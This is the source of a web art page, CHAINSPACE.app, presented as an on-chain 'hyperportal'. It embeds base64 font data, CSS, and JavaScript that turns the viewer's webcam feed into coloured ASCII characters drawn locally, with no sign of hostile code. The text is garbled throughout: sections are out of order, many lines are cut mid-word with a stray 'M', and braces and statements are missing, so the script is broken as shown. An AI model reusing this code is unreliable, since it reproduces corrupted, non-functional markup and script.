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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #e0e0dd;
    font-size: 12px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#aec5ed", "#f1db65", "#e12e5d", "#f598c0", "#f9d8ee", "#eed2c0", "#ef2647", "#5cd3e5", "#248ac0", "#e0e0dd", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 45M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
           video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
es = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.classNamM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
     gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAJY4AAwAAAABYBwAAJXZAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cBmA/UGZFZIO8TACQAgqBynyBnT4LghoAATYCJAOEMAQgBZQvB4oQW3BHcUN0w7TOCb9uMgCga1ObW1XngGzuMLNymwimLXm9MziajbB6ouj6z/7//zMS5IihCbUHPL62blsMYUKlkUZmlNDpaXjV6pqVpwAArLeqootw8/KeDNDKuPtGH63RZN7KPFPoRuUolWpLS8u0KitVFYiqXgarref8hssLDW1Lad9g27ZHnXPM/cOs0nQ0wlrYZq5lraVVmi7vVjaqsnO1TrU9ygjttFah0jm2Slya1m952tITLT2Guu499uN/BBcBMQJeaw67OgVxOyG89jGGw2a0CH85JglM
BJ4fUc+vPS/kNUhkhXuSA64B9d/T/xsRnCLzJIrBxGSNZOXktItuq3jvwDg849NRDD7K8wpHuFDMqKBgJISpmTOnAkBDBkB9RMSSSEQPBDIZ0GEhixpDBfDsIk3suWVFLNAEM/r/1+8cWBKqgckgg4Sb8Ci/a7bSKDEZiPnL3qL/9A83pv4OLGLwkL8kRQ6KQC1qoUIMqUnEmon/dvqjVJlpZ6Tqh4pgVCsETSBDRNvb8O63/X1vaArLL9rKtJApQY/r0MF9i+JqLSO8NADSEOmBgkS1LQ+9U/27ju2Z40hkKA1uO7fI47ZgFhUE8IIx/rb0/SWdoWWg7dsKGhNe81mlZst7ng/8v1d7u/P/4BcoeVd2ApaJKoWUQKolUuaJsa9ONbRBtkq6PZJwfjuMQIIgGGt0YoLl164AFG1sDY7CNjShZwYIaI6IMqqRKG5QwCp8yCgtfzLcSFXx9I/LDfzhVdZ3ZlOaEJyEAPO/vB3ouPPhABSCSTRWCrtOLn11mAf0sHeqM
sZiw7yc5orHvgCqH6Drgnywo8xFkgkv47qX1ArpDa3T1c06uw1e8KePnAgPz0q6SUDIBcSVbvlRhwhqBmScjynzr91/bDTLfrMpcpgCCOTALbAZ5nbsGcC2r4iPGl0jy4kEH//X56m7lNXlI64S0I+Z2tETWCHKDRrXB1CgA+YJc4jCCmUO/TVGSAQxjwRC8C/n9fVdd3P0Dpf9LlU25QJrsjrc6gJJdWhynp770PGO+9T1gfn9TR/6AKCDeQdAFI6RiCdHwISYwJSvYh5dL6lvQPUseBmEbSjaQbpbTet8gptU3ecjyl1mHO5DGlD1O2LcuYaS1NmexhSQGDbrrZTj2W8EUDDIwDpPh//APVe5o06WMsWq35Vqlg48uA574Z72iutDcLR9nkvkjua9zE7RlZ47Kb25sHRFcgOeWUcxUK0EhQta1VFd6UqFo1Oyk2qIlovkd+8owEiRSs5PnuUUiEVliEUQiNtJ9RCGeQOCROQzQ80By6EJ49DHA4+7L1mu4IV9tM
9M8b7DqWaFeFdldIzv307+/UNld8HUyYwjhHgBLRmyBzKzgAhjTmMXY4cYhJQkGTm4d0F1PYjeFsgWG1R1FoLNDA9xLN/11L/A78VskrWumTyD2bn2GXzKgk1syQja+tl/djvx9cZYBClMjHJFAUBvft6fS8E2JxegnYPJ4UIkYStm6Ht/hX+rZjLq3x2hmByq6ifoNljbLbo0hU80cqJ7DdzOiUFIJUNFCjBc/C0luw2EADVoP6Hn/m3pwFfu1lY+42f2MgEIfeNctADuNXepXQ0SRSDijxwt9vriYV6Qo4TagABclw/JnrfzdebhmDJ/hdeZf8hEDq67oB2/aUZcHJfA2AJAgEAaOIj5qYDkILAEQcZADviYAZMeZTvxKRYrynpyXhuFwQh1gC4AJwf0BROU8gCl75W83NQI/sbxKvB1AY6n/WDu3iIV0OMMcmlvBxyrtss4/dQ1mwdWupy+DCaYc31N8NDPB2uo95mc314aK67S/3fU96hZQSyq2rHmOwit1hM
